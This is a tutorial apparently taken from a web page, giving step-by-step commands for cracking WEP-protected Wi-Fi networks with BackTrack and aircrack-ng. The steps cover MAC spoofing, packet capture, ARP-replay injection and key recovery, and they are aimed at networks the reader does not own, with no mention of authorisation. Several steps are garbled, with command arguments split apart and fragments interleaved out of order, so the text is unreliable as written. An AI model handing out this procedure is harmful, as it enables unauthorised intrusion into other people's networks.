WEP and WPA-PSK wifi cracking tool

Aircrack-ng (a fork of aircrack) is my main tool for cracking Wi-Fi passwords. It has a wireless network detector, a packet sniffer, WEP and WPA/WPA2-PSK cracker, and an analysis tool for 802.11 wireless LANs. Aircrack-ng works with any wireless card whose driver supports raw monitoring mode and can sniff 802.11a, 802.11b and 802.11g traffic.

Wifi hacking Using Backtrack

Step 1:-

First Download Backtrack  from the following link:

http://www.remote-exploit.org/backtrack_download.html

Step 2:-

Burn the iso image on CD and boot your laptop from CD drive

Step 3:-

Select the third boot option(VESA/KDE).

Step 4:-

Once in BT3, click the tiny black box in the lower left corner to load up a 

 "Konsole" window.

Step 5:-

Type the following command

airmon-ng

Note down the interface name. In this example wifi0

Step 6:-

airmon-ng stop wifi0

Step 7:-

ifconfig wifi0 down

Step 8:-

macchanger --mac 00:11:22:33:44:66 wifi0

Step 9:-

airmon-ng start wifi0

Step 10:-

airodump-ng wifi0

This will start populating Wifi networks. Press Ctrl + C to stop.

Check the network with WEP encryption.

Notedown BSSID, CH and ESSID somewhere in notepad or paper

Note that if the same BSSID is available in the second part with STATION associated with it,

means you some one is accessing that network and our task will be little easier. 

If not than don?t worry we will still crack it.

Step 11:-

airodump-ng -c (channel) -w (file name)

Replace

(channel) with the CH which u had already n

(file name) with any name of your choice

(bssid) with the BSSID which u had already note

--bssid (bssid) wifi0

Note it

Leave this console as it is and start new konsole

Step 12:-

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:66 wifi0

If you don?t get Association Successful mesage then keep on trying until

you got success.

Step 13:-

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:66 wifi0

Well if you don?t see ARP ACK and sent packets are not increasing or still 0 

than it means no 1 is

accessing that network.But don?t worry you go an optional step,

Leave this console as it is and start new k

Step 14:-

aireplay-ng -2 ?p 0841 ?c FF:FF:FF:FF:FF:FF

konsole

message than keep on trying until you get success

got an optional step

konsole

?b (bssid) ?h 00:11:22:33:44:66 wfi0

Press y and enter

Now you will see that ARP and ACK packets in 2nd console are increasing fast

Keep this console as it is and start 4th console.

Step 15:-

aircrack-ng -b (bssid) (filename)-

Just wait and watch?..Backtrack will do rest of the work.

Hurray we got the key.
